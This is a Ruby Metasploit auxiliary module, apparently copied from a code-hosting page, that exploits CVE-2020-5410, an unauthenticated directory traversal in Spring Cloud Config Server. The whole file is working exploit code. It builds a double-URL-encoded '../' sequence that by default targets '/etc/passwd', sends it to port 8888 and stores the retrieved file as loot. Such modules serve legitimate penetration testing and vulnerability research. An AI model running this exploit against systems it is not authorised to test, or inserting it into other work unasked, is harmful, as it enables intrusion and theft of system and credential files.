79 lines
2.3 KiB
Ruby
79 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Directory Traversal in Spring Cloud Config Server',
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'Description' => %q{
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This module exploits an unauthenticated directory traversal vulnerability
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which exists in Spring Cloud Config versions 2.2.x prior to 2.2.3 and
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2.1.x prior to 2.1.9, and older unsupported versions. Spring
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Cloud Config listens by default on port 8888.
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},
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'References' => [
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['CVE', '2020-5410'],
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['URL', 'https://tanzu.vmware.com/security/cve-2020-5410'],
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['URL', 'https://xz.aliyun.com/t/7877']
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],
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'Author' => [
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'Fei Lu', # Vulnerability discovery
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'bfpiaoran@qq.com', # Vulnerability discovery
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'Dhiraj Mishra' # Metasploit module
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],
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'DisclosureDate' => '2020-06-01',
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'License' => MSF_LICENSE,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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Opt::RPORT(8888),
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OptString.new('TARGETURI', [true, 'The base path to Spring Cloud Config installation', '/']),
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 11 ])
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]
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)
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end
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def run_host(ip)
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traversal = '../' * datastore['DEPTH']
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traversal = "#{traversal}#{datastore['FILEPATH']}"
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traversal = traversal.gsub('/', '%252F')
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traversal << '%23foo/development'
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trav_uri = normalize_uri(target_uri.path, traversal)
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res = send_request_raw({
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'method' => 'GET',
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'uri' => trav_uri
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})
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unless res && res.code == 200
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print_error('Nothing was downloaded')
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return
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end
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print_good("#{peer} - Downloaded #{res.body.length} bytes")
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path = store_loot(
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'springcloud.traversal',
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'text/plain',
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ip,
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res.body
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)
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print_good("File saved in: #{path}")
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end
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end
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